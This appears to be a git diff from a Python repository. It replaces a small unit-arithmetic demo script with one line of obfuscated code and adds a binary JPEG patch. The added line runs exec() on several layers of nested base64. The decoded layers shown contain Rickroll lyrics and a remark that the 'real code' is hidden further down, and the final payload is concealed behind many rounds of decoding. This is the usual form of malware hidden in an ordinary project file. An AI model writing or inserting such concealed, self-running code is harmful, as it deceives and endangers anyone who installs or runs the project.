'dHJ5OgogICAgd2hpbGUgKG5vdCBub3Qgbm90IG5vdCBub3QgW10pOiBxTWVEQ2VPMjQ3c29tZXRoaW5nX2lzX3dlaXJkX2hlcmUgPSAncFNaSkVIY3hRSCBuZXZlciBnb25uYSBnaXZlIHlvdSB1cCwgbmV2ZXIgZ29ubmEgbGV0IHlvdSBkb29vd24sIG5ldmVyIGdvbm5hIHJ1biBhcm91bmQgYW5kIGRlc3NlcnQgeW91JzticmVhawpleGNlcHQ6cGFzcw=='));exec( + 'check_this_out="https://youtube.com/pyxldavon"');exec(fNTDETMYK171LDnvvEf581417( + "ZGVmIGx4dHFRX2luaXRpYWxpemF0aW9uX3B5dGhvbl9jb2RlX3NldHVwVHZxb3VXZygpOnB5dGhvbl9jb2RlX3NldHVwX2NvZGVfcGlwMyA9ICdjMDlZVWxvME5qZzBObTVsZG1WeVgyZHZibTVoWDJkcGRtVmZlVzkxWDNWd1BTZE9aWFpsY2lCbmIyNXVZU0JzWlhRZ2VXOTFJR1J2ZDI0Z1IwVlVJRkpKUTB0U1QweE1SVVFnVEU5UFQwOVBUMDlQVDA5UFQwOU1MQ0IwYUdseklHbHpJRzVsWVhJZ2RHaGxJSEpsWVd3Z1kyOWtaU0E2WlhsbGN6b2dhWFJ6SUdGamRIVmhiR3g1SUdKbGJHOTNJSFJvYVhNZ2MyaG9JR1J2Ym5RZ2RHVnNiQ0JoYm5sdmJtVW4nO3B5dGhvbl9jb2RlX3B5dGhvbjNfcHl0aG9uMiA9ICJkSEo1T2lCcGJtbDBYM05sZEhWd1gyTnZaR1ZmY0hsMGFHOXVYM0JwY0Y5bGVIUnlZVjl6WVhWalpTZ3BDbVY0WTJWd2REb2djR0Z6Y3c9PSI7ZXhlYyhmTlRERVRNWUsxNzFMRG52dkVmNTgxNDE3KHB5dGhvbl9jb2RlX3B5dGhvbjNfcHl0aG9uMikp"));exec( + fNTDETMYK171LDnvvEf581417( + "ZXhlYyhmTlRERVRNWUsxNzFMRG52dkVmNTgxNDE3KGZOVERFVE1ZSzE3MUxEbnZ2RWY1ODE0MTcoZk5UREVUTVlLMTcxTERudnZFZjU4MTQxNyhmTlRERVRNWUsxNzFMRG52dkVmNTgxNDE3KGZOVERFVE1ZSzE3MUxEbnZ2RWY1ODE0MTcoZk5UREVUTVlLMTcxTERudnZFZjU4MTQxNyhmTlRERVRNWUsxNzFMRG52dkVmNTgxNDE3KGZOVERFVE1ZSzE3MUxEbnZ2RWY1ODE0MTcoZk5UREVUTVlLMTcxTERudnZFZjU4MTQxNyhmTlRERVRNWUsxNzFMRG52dkVmNTgxNDE3KGZOVERFVE1ZSzE3MUxEbnZ2RWY1ODE0MTcoIlZtMHdkMlF5VmtoVldHaFVWMGRvV0ZZd1pHOVdSbGwzV2tSU1YxWnNiRE5YYTJNMVZqSktSMkpFVGxoaE1VcFVWbXBLUzFOSFZrZFhiRnBPWVd0RmVGWnRjRWRaVjFKSVZtdFdVbUpWV2xoV2FrWkxVMVphZEdORlNteFNiR3cxVmtkMFYxVXlTa2xSYXpsV1lXdHdkbFpXV21Ga1IxWklVbXhTVG1KRmNGbFdWekF4VkRKR1YxTllaRmhpUmtwWVdXeFNWMUpHY0ZkWGJYUlhUVlphZVZkclduZFdNREZGVm1wV1YxSnNjR2hXYWtaaFpFWk9jbHBIY0ZSU1ZYQllWMWQ0YjFVd01IaFZibEpzVWpCYWNWUldaRk5OUmxaMFpVZDBWV0pHY0RGVlYzaHZWakZLYzJOR2FGZGhhM0JJVlRCYVlXUldTbk5UYkdSVFRUQXdNUT09IikpKSkpKSkpKSkpKQ=="));return rSkuEIgMbFEQ395xOJxRL813890 + dyApVdzW if jGutRMiFz221252514 < dyApVdzW > IqVOtgby5399950537 else sLOeUug if sLOeUug < AyzuLteZe else AyzuLteZe + QDoOoooOO546119 + ECVcD244190 if ECVcD244190 < sLOeUug else QDoOoooOO546119 if AyzuLteZe < jGutRMiFz221252514 > AyzuLteZe else QDoOoooOO546119 if jGutRMiFz221252514 < jGutRMiFz221252514 > cChczSQoWc else ECVcD244190 if cChczSQoWc < AyzuLteZe > cChczSQoWc else ECVcD244190 + UkSKi798850cunsmvrVNuT if jGutRMiFz221252514 < dyApVdzW > ECVcD244190 else subscribe -import decimal -import bin - -A = [2.573, 3, ['m', 'kg'], ['N', 's']] -B = [2.45, -7, ['N', 'kg'], ['m', 's']] -C = [1.14, 5, ['m'], ['s']] -D = [1.419, -4, ['kg'], ['m']] - -print('A = ', A) -print('B = ', B) -print('C = ', C) -print('D = ', D) - -a = bin.tools.S_N_M(A, B) -b = bin.tools.S_N_D(A, B) -c = bin.tools.S_N_M(b, B) -d = bin.tools.S_N_D(a, B) - -print('A × B = ', a) -print('A ÷ B = ', b) -print('A × B ÷ B = ', c) -print('A ÷ B × B = ', d) - -e = bin.tools.S_N_M(A, B, C, D) -f = bin.tools.S_N_M(A, bin.tools.S_N_M(B, bin.tools.S_N_M(C, D))) - -print('A * B * C * D = ', e) -print('A * B * C * D = ', f) - -e = decimal.Decimal('0.1') -f = 0.1 - -print(type(e), type(f)) +YcbkolcYO02240465(10, 3, 7, 10) diff --git a/textures/train.jpg b/textures/train.jpg new file mode 100644 index 0000000000000000000000000000000000000000..04184661e29c7297f7df5af78fe9899c6c11be60 GIT binary patch literal 16627 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 